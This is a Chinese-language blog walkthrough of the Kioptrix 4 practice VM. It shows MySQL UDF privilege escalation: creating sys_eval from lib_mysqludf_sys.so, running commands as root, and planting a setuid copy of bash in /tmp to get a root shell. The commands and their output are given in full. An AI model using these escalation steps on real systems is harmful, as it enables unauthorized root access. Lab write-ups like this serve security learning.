淦,竟然直接就有了,不需要我再累死累活上传动态链接库(靶机上没有 gcc 环境,所以也没法自己编译)

不过严谨起见,还是自己在创建一个系统调用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
ERROR 1046 (3D000): No database selected
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| members |
| mysql |
+--------------------+
3 rows in set (0.00 sec)

mysql> use mysql
use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
| sys_eval | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
3 rows in set (0.00 sec)

mysql> select sys_eval('whoami');
select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root
|
+--------------------+
1 row in set (0.02 sec)

成功!不过关于这里 UDF 提权的原理,并没有深刻理解,这也是导致我在这里卡很久的原因

1
2
3
4
5
6
7
8
mysql> select sys_eval('cp /bin/bash /tmp/bash;chmod +sx /tmp/bash');
select sys_eval('cp /bin/bash /tmp/bash;chmod +sx /tmp/bash');
+--------------------------------------------------------+
| sys_eval('cp /bin/bash /tmp/bash;chmod +sx /tmp/bash') |
+--------------------------------------------------------+
| |
+--------------------------------------------------------+
1 row in set (0.06 sec)

另一边看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
john@Kioptrix4:/tmp$ ls
40839.c bash cowpy-x86 cowroot dcow firefart_dirtycow linpeas.sh
john@Kioptrix4:/tmp$ ./bash -p
bash-3.2# whoami
root
bash-3.2# uname -a
Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
bash-3.2# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:d5:52:bc brd ff:ff:ff:ff:ff:ff
inet 192.1.1.135/24 brd 192.1.1.255 scope global eth1
bash-3.2# cd /root
bash-3.2# ls -liah
total 44K
171361 drwxr-xr-x 4 root root 4.0K 2012-02-06 18:46 .
2 drwxr-xr-x 21 root root 4.0K 2012-02-06 18:41 ..
171365 -rw------- 1 root root 59 2012-02-06 20:24 .bash_history
171363 -rw-r--r-- 1 root root 2.2K 2007-10-20 07:51 .bashrc
171368 -rw-r--r-- 1 root root 625 2012-02-06 10:48 congrats.txt
171393 -rw-r--r-- 1 root root 1 2012-02-05 10:38 .lhistory
171367 drwxr-xr-x 8 loneferret loneferret 4.0K 2012-02-04 17:01 lshell-0.9.12
171364 -rw------- 1 root root 1 2012-02-05 10:38 .mysql_history
171366 -rw------- 1 root root 5 2012-02-06 18:38 .nano_history
171362 -rw-r--r-- 1 root root 141 2007-10-20 07:51 .profile
171394 drwx------ 2 root root 4.0K 2012-02-06 11:43 .ssh
bash-3.2# cat congrats.txt
Congratulations!
You\'ve got root.

There is more then one way to get root on this system. Try and find them.
I\'ve only tested two (2) methods, but it doesn't mean there aren't more.
As always there\'s an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it\'s not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven\'t already, check out the other VMs available on:
www.kioptrix.com

Thanks for playing,
loneferret

不过这里有个比较奇葩的地方,当我在没有提权前信息收集的时候发现,root 目录竟然是可读的……我在没有提权成功的时候就已经读过了 congrats.txt

总结

这台靶机总体难度不大,但是提权部分卡了我很久,对于 UDF 提权,很多博客的思路都是写入 plungin 插件目录下,但是也可以用另一种方式解释:MySQL 进程一般是 mysql 用户去调用的,但是这里确实 root 用户,那么也许是用户希望使用 MySQL 去调用一些 root 权限的文件或任务,那么我就可以考虑检测 MySQL 自建函数 select * from mysql.func;,进而判断出 UDF 提权。


Kioptrix 4 靶机
https://i3eg1nner.github.io/2023/07/d2c1d0d4a738.html
作者
I3eg1nner
发布于
2023年7月16日
许可协议